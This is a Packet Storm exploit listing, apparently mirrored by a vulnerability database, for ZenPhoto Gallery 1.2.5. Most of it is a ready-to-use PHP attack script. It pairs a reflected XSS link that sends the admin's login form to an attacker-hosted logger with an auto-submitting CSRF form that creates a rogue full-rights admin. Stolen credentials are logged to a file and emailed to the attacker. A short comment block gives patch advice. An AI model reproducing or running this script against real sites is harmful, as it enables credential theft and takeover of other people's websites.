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ZenPhoto Gallery 1.2.5 Password Reset

🗓️ 17 Jul 2009 00:00:00Reported by petrosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

ZenPhoto Gallery 1.2.5 Password Reset Security Exploi

Code
`<?php  
####################################################################  
# Zen Photo Adminstrator Password Steal/Reset Exploit #  
#+================================================================+#  
# Discovered and coded by petros [at] dusecurity.com #  
#+----------------------------------------------------------------+#  
# Affects: ZenPhoto Gallery 1.2.5 #  
#+----------------------------------------------------------------+#  
# Zenphoto is an answer to lots of calls for an online #  
# gallery solution that just makes sense. After years of #  
# bloated software that does everything and your dishes, #  
# zenphoto just shows your photos, simply. It’s got all the #   
# functionality and “features” you need, and nothing you don’t. #  
# Where the old guys put in a bunch of modules and junk, we put #  
# a lot of thought. We hope you agree with our philosopy: #  
# simpler is better. Don’t get us wrong though –zenphoto really #  
# does have everything you need for your online gallery. #  
#+================================================================+#  
# Exploit Explaination #  
#+================================================================+#  
# #  
# This exploit actually advantage of two vulnerabilities. #  
# The first exploit is a simple XSS in the admin login page #  
# that will allow us to log the admins password. Unfortunatly, #  
# it only executes if the admin is NOT already logged in. #  
# The second is a CRSF exploit that allows you to change the #  
# admins password by automatically submitting a form. #  
# This exploit only works if the admin already logged in. #  
# Combine these and we have two ways to gain admin access #  
# #  
#+--------------------------------------------------------------=-+#  
# How to patch/prevent these vulnernabilities #  
#+--------------------------------------------------------------=-+#  
# #  
# The XSS in the zp-core/admin.php page can be patched by #  
# santizing the $_GET['from'] variable before outputting it #  
# #  
# The CRSF requires either some form of referal checking or #  
# hidden security token on all forms (the latter would be better #  
# #  
#+----------------------------------------------------------------+#  
# How to use this exploit to take over a ZenPhoto website #  
#+----------------------------------------------------------------+#  
# #  
# To use the XSS logger make the admin click this link: #  
# #  
#+--[code snippet - put this all in one line]--+ #  
# http://victimsite.com/zp-core/admin.php?from="><script> #  
# document.forms[0].action="[logged url]"; #  
# </script><div id="lolpwnt #  
#+--[ end of code snippet]--+ #  
# #  
# Replace [logger url] with the link to this PHP script #  
# Make sure your log.txt is writable before doing this #  
# On login the admins password will be saved to the file. #  
# #  
# The next exploit is used by simply giving the link to #  
# this script to the admin. if he clicks it his password #  
# will be changed automatically to "ownedbydusec" #  
# #  
# That's about it :) Enjoy! #  
####################################################################  
# petros [at] dusecurity [dot] com #  
####################################################################  
  
  
//* Configure the exploit *//  
$site = "http://victim.org/zen-photo"; // URL to vulnerable ZP install (no trailing slash!!)  
$log = "log.txt"; // File to save logs to  
$user = "admin"; // Name of the new admin  
$pass = "ownedbydusec"; // New admin pass  
$email = "[email protected]"; // Email to send log notifications to  
// Do not edit below this line...  
  
if($_POST)// We got logins from the XSS phisher  
{  
$file = fopen($log, 'a');  
if(!$file) redirect();  
fwrite($file,"--==[{$_SERVER['REMOTE_ADDR']}]==--\r\n");  
foreach($_POST as $key => $value)  
fwrite($file, "$key = $value\r\n");  
fwrite($file,"\r\n");  
fclose($file);  
@mail($email, "ZenPhoto Double Penetration Exploit got a password!", "Please check your log file :)");  
redirect(); //send the back to the admin page  
  
}  
else // try to create a new admin using CRSF  
{  
$inputs = array(  
"saveadminoptions" => "true",   
  
"totaladmins" => "1",   
  
"alter_enabled" => "1",   
  
"0-adminuser" => $user,   
  
"0-confirmed" => "2",   
  
"0-adminpass" => $pass,   
  
"0-adminpass_2" => $pass,   
  
"0-admin_rights" => "1",   
  
"0-options_rights" => "1",   
  
"0-zenpage_rights" => "1",   
  
"0-tags_rights" => "1",   
  
"0-themes_rights" => "1",   
  
"0-all_album_rights" => "1",   
  
"0-edit_rights" => "1",   
  
"0-comment_rights" => "1",   
  
"0-upload_rights" => "1",   
  
"0-view_rights" => "1",   
  
"0-main_rights" => "1",   
  
"0-admin_name" => "Owned by dusecurity.com",   
  
"0-admin_email" => 'petros was here <3'  
);  
$action = $site."/zp-core/admin-options.php?action=saveoptions";  
echo "<html><head><script>function badboy(){ document.forms[0].submit();{</script></head>";  
echo "<body onload=\"badboy();\"><form action=\"$action\" method=\"POST\">";  
foreach($inputs as $key => $value)  
{  
echo "<input name=\"$key\" value=\"$value\" type=\"hidden\" />";  
}  
echo '<input type="submit" value="Click Me!" />'; //not that they have a choice lol  
echo "</form></body></html>";  
// notify them by e-mail because the admin will probably notice he cant login  
@mail($email,"ZenPhoto Double Penetration Exploit Success!", "Site: $site/zp-core/admin.php\nUsername: $user\nPassword: $pass");  
}  
  
  
function redirect(){ header("Location: $site/zp-core/admin.php");exit; }  
  
?>  
  
`

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17 Jul 2009 00:00Current
7.4High risk
Vulners AI Score7.4
19